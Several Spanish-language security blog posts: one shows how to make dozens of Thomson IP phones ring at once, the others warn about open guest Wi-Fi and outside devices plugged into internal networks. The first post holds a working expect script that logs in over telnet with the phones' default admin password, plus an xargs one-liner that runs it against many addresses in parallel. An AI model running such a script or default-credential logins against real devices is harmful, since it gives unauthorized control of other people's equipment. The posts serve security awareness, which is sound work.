El cortador de césped es una de esas películas sobre el ciberespacio y la inmersión en ‘mundos digitales’. Cuando la vi de pequeño en el cine me impresionó mucho, aunque supongo que ahora, si la viese, me parecería más bien floja.

En cualquier caso, una cosa que se me quedó grabada es el final de la película en la que, finalmente, el cortador de césped, viviendo en el ciberespacio, consigue escapar a la ‘prisión’ donde le intentan atrapar y hace sonar todos los teléfonos de la Tierra.

Pues bien, gracias a Sevilla Sec&Beer ahora tú también puedes hacer realidad este sueño de juventud, hacer sonar muchos teléfonos a la vez, gracias a la  voz sobre IP y a las credenciales por defecto.

Lo primero que tienes que conseguir es un sitio donde haya muchos teléfonos IP con alguna interfaz de configuración a la que puedas llegar. Luego tienes que tener la suerte de que no hayan cambiado las credenciales de acceso por defecto para administrar. Y por último sólo te hace falta tener unos mínimos conocimientos de scripting para lanzar los mismos comandos a todos a la vez.

Recientemente he tenido la suerte de encontrarme un entorno de estas características. Sesenta y tantos teléfonos IP de la marca Thomson (ya sabéis, no comprad sin Thom ni Son). Estos teléfonos tienen una interfaz web y otra telnet. El usuario administrador tiene como credenciales por defecto ‘administrator/784518′.

Echando un ojo a la interfaz telnet nos encontramos que podemos hacer de todo con el teléfono. Entre otras cosas, podemos hacer que se enciendan los leds y que suene el tono de llamada que queramos.

Pues ya sólo nos queda preparar un script. Para eso, y sin que sirva de precedente, yo he usado expect, que está especialmente pensado para interaccionar con sistemas remotos en base a dos comandos principales expect "algo" y send "algo".

El script en cuestión es el siguiente (le he llamado thomson.ip).

set address [lrange $argv 0 0]
spawn ncat -tC $address 23
expect "Login: "
send "administrator\r"
expect "Password: "
send "784518\r"
expect "#"
send "music start 1\r"
expect "#"
send "exit"

Este script acepta una dirección IP como argumento y hace que suene el teléfono. He usado ncat en vez de telnet porque, por alguna causa, no acababa de autenticarse bien.

Ahora sólo nos queda lanzarlo a la vez para todos los teléfonos. Para ello usaremos las capacidades de paralelismo de xargs. También puedes usar GNU parallel que precisamente es un xargs que lanza en paralelo los comandos.

Suponiendo que has creado un fichero llamado tlfs.ip con una línea por cada dirección IP que pertenezca a un teléfono, podemos hacer lo siguiente para hacerlos sonar todos a la vez.

cat tlfs.ip | xargs -n 1 -P `cat tlfs.ip | wc -l` expect thomson.expect

Y ya está. Riiingggg, riiiiiingggg, riiiiinggggggg, riiiiiingggg, riiiiiingggg….

Bueno, aparte de la chorrada de hacer sonar los teléfonos, la moraleja de todo esto es que hay que tener cuidadito con cambiar las credenciales por defecto, por un lado, y desactivar los servicios si no se usan, por otro. Si no, que suenen todos los teléfonos a la vez va a ser el menor de tus problemas.

Esta semana he vuelto a ver una práctica habitual en determinadas organizaciones respecto al acceso inalámbrico. Tarde o temprano, siempre hay alguna necesidad para tener una red inalámbrica, principalmente para movilidad del personal o para conexión de externos y visitantes (salas de reunión, salones de actos, recepciones, etc.).

En estos casos, la única necesidad es la navegación por Internet de los que se conectan. Pero nos encontramos con dos condiciones de contorno interesantes y opuestas

  • Los ‘visitantes’ tienen que poder acceder fácilmente, sin demasiadas trabas
  • Debe reducirse el riesgo de intrusión en las redes de la organización a través del acceso inalámbrico

En estos casos, ‘la mejor solución‘ es contratar un ADSL adicional y mantenerlo separado del resto de redes de la organización. Entonces, la red inalámbrica se deja abierta (sin autenticación ni trazabilidad) porque, al no estar conectada a la red de la organizacion, ya no hay peligro, ¿verdad?

Bueno, obviamente, sigue existiendo riesgo. Tal y como funciona TCP/IP, si consigues estar en la misma subred que ‘una víctima’, es posible tener éxito en ataques sencillos y con gran impacto (desde simplemente análisis de tráfico a suplantación de equipos, del DNS e, incluso, intrusión aprovechando vulnerabilidades del equipo).

Además, es mucho más fácil suplantar al propio AP si no se utiliza ningún tipo de cifrado.

Si consideramos que las ‘víctimas’ pueden ser miembros de la organización que están en salas de reunión, salones de actos, bibliotecas, etc. pues el riesgo tiene peor pinta.

Por no hablar de la posibilidad de que se realicen ‘malas acciones’ desde el ADSL que está a tu nombre.

En fin, no quiero tampoco extenderme mucho con este tema, es sólo para hacer notar que el hecho de que una red no se encuentre conectada a la organización no implica mágicamente que ya no haga falta mantener unos niveles mínimos de seguridad.

Y aunque sea engorroso, es siempre mejor que, quién se quiera conectar, tenga que pedirlo. Dejar una red (inalámbrica o no) abierta suele ser una mala idea.

En este insondable mundo de la seguridad, frecuentemente usamos el término perímetro para referirnos a las fronteras que separan nuestra organización del “peligroso” mundo exterior. Por suerte, muchos somos ya conscientes de que suponen un mayor riesgo los empleados descontentos  o desinformados que los cinematográficos hackers.

Esas fronteras que marcan el perímetro de seguridad pueden ser tangibles, como el cable que nos conecta a internet o la puerta de entrada del edificio donde trabajamos, o intangibles, como las redes WiFi cuya cobertura no se restringe a los límites físicos de la organización.

Históricamente, este perímetro ha sido protegido interponiendo cortafuegos o seguratas que nos piden el DNI. También hemos mejorado la seguridad del acceso inalámbrico configurando WPA 802.1x en nuestras redes.

Sin embargo, todo el esfuerzo que invertimos en interponer barreras de seguridad se desvanece cuando gentilmente permitimos a personas y equipos ajenos a nuestra organización franquear el perímetro y conectarse a la red local.

Ejemplos no faltan:

– Empleados que conectan a la red local equipos personales o el portátil corporativo “que tienen en casa”.

– Comerciales que, conectando su portátil a la toma de red, usan el acceso a internet de la organización para mostrarnos las virtudes de su producto.

– El pen-drive que nos regalaron en el último sarao tecnológico-festivo al que asistimos.

– Puntos de información en la vía pública, cuyo latiguillo se conecta a una toma de red perfectamente visible y alcanzable.

– Tomas de red en salas de espera, pidiendo que cualquiera conecte su portátil y eche una ojeada a la red.

Pienso que si no tomamos en consideración los riesgos asociados a este tipo de accesos tolerados y ponemos soluciones, nuestra organización acabará teniendo mas agujeros de seguridad que un queso gruyere.